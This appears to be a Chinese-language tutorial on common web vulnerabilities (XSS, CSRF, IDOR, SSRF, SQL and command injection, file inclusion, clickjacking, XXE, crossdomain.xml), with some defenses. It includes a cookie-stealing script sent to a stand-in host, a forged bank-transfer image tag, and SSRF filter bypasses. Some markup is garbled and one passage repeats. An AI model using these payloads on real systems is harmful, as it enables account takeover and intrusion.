跨站脚本攻击,可以将代码注入到用户浏览的网页上,这种代码包括HTML
和JavaScript
例如有一个论坛网站,攻击者可以在上面发布以下内容
<script>localtion.href="//domain.com/?c="+document.cookiescript>
之后该内容可能会被渲染如下
<p><script>location.href="//domain.com/?c="+document.cookiescript>p>
另一个用户浏览了含有这个内容的页面将会跳转到domain.com并携带了当前作用域的Cookie。如果这个论坛网站通过了Cookie管理用户登陆状态,那么攻击者就可以通过这个Cookie登陆被攻击者的账号了。
防范手段
设置了HttpOnly的Cookie可以防止JavaScript脚本调用,就无法通过document.cookie获取用户Cookie信息
将前端提交的内容进行转义过滤。富文本编辑器允许用户输入HTML代码,就不能简单的进行转义过滤了,通常采用XSS filter来防范XSS攻击,通过定义一些标签白名单或者黑名单,从而不允许有攻击性的HTML代码的输入
跨站请求伪造,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行
XSS利用的是用户对网络的信任,CSRF利用的是网络对用户浏览器的信任
假如一家银行用以执行转账操作的URL的地址如下
http://www.examplebank.com/withdraw?account=AccountName&amount=10000&for=PayeeName
那么一个恶意攻击者可以在另一个网站上放置如下代码
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman"/>
Referer
首部字段
检查这个首部字段并要求请求来源的地址在同一域名下,可以极大的防止CSRF攻击
- 访问敏感数据请求时,要求用户浏览器提供不保存在Cookie中,并且攻击者无法伪造的数据作为校验。例如服务器生成随机数并附加在表单中,并要求客户端传回这个随机数。
- 切记不要让客户端使用随意的值就通过验证,否则前端完全可以自己生成UUID值进行攻击。
因为CSRF攻击是在用户无意识的情况下发生的,所以要求用户输入验证码可以让用户知道自己正在做的操作
IDOR找到突破口的方式,当API端口无法突破IDOR脆弱性测试,可以通过HTML或者JavaScript文件寻找其他用户的HASH唯一身份值
很多企业应用的变量如 id、pid、uid等,虽然平常情况下只当作HTTP参数,但通过更改该值,可以达到访问、编辑或删除任何其他用户对象。
Server Side Request Forgery (服务端请求伪造)。形成的原因主要是服务器端所提供的接口中包含了所要请求的内容的URL参数,并且未对客户端所传输过来的URL参数进行过滤。
这个漏洞造成的危害如下:
绕过SSRF过滤的方法
更改IP地址写法
考虑到企业应用可能通过过滤掉内网IP的方式。这里可以使用各种进制替代原有IP写法,如以下192.168.0.1的各种进制
- 8进制。 0300.0250.0.1
- 16进制。0xC0.0xA8.0.1
- 10进制。3232235521
- 16进制。0xC0A80001
利用解析URL所出现的问题
企业程序可能会对将要访问的URL进行解析,对解析出来的host地址进行过滤,这时候可能出现对URL参数解析不当,导致可以绕过过滤
当解析出待访问URL是 http://[email protected]/ 时,企业程序如果使用不正确的正则表达式(如截取http之后到com为止的内容),导致该URL通过审核而进行访问,实际上该URL最终将访问 http://192.168.0.1
利用DNS解析
通过各种非HTTP协议
- GOPHER协议。在URL参数中构造GET或POST请求,以达到攻击内网应用的目的,如对内网Redis服务进行攻击。
- File协议。使用file协议可以避免服务端程序对于所访问的IP进行的过滤。如通过file:///d:/1.txt来访问
DNS Rebinding
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就PASS掉。但是在整个过程中,第一次去请求DNS服务器进行域名解析到第二次服务端去请求URL之间存在一个时间差,利用这个时间差,可以进行DNS重绑定攻击。
select * from Users where username = 0x61646D696E
select * from Users where username = to_char(97,100,109,105,110)
select concat('a', 'd', 'm', 'i','n');
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。
如PHP中的system
, exec
, shell_exec
等等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式。
在网站的运营过程中,不可避免地要对网站的某些页面或者内容进行更新,这时便需要使用到网站的文件上传的功能。
如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能会被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。
在Web端用iframe嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。
最常见的防止frame嵌套的例子
if (top.location !== location) {
top.location = self.location;
}
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的。
因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生。
在XML 1.0标准里,XML文档结构里定义了实体这个概念,实体可以通过预定义在文档中调用,实体的标志符可访问本地或远程内容。
如果在这个过程中引入了污染源,在对XML文档处理后则可能导致信息泄露等安全问题。
由于网站开发者在使用Flash、Sliverlight等进行开发的过程中的疏忽,没有对跨域策略文件(crossdomain.xml)
进行正确的配置导致文件产生。例如
<cross-domain-policy>
<allow-access-from domain="*"/>
cross-domain-policy>
因为跨域策略文件配置为*,也就指任意域的Flash都可以与它交互,导致可以发起请求,获取数据。
<cross-domain-policy>
<allow-access-from domain="*"/>
cross-domain-policy>
因为跨域策略文件配置为*,也就指任意域的Flash都可以与它交互,导致可以发起请求,获取数据。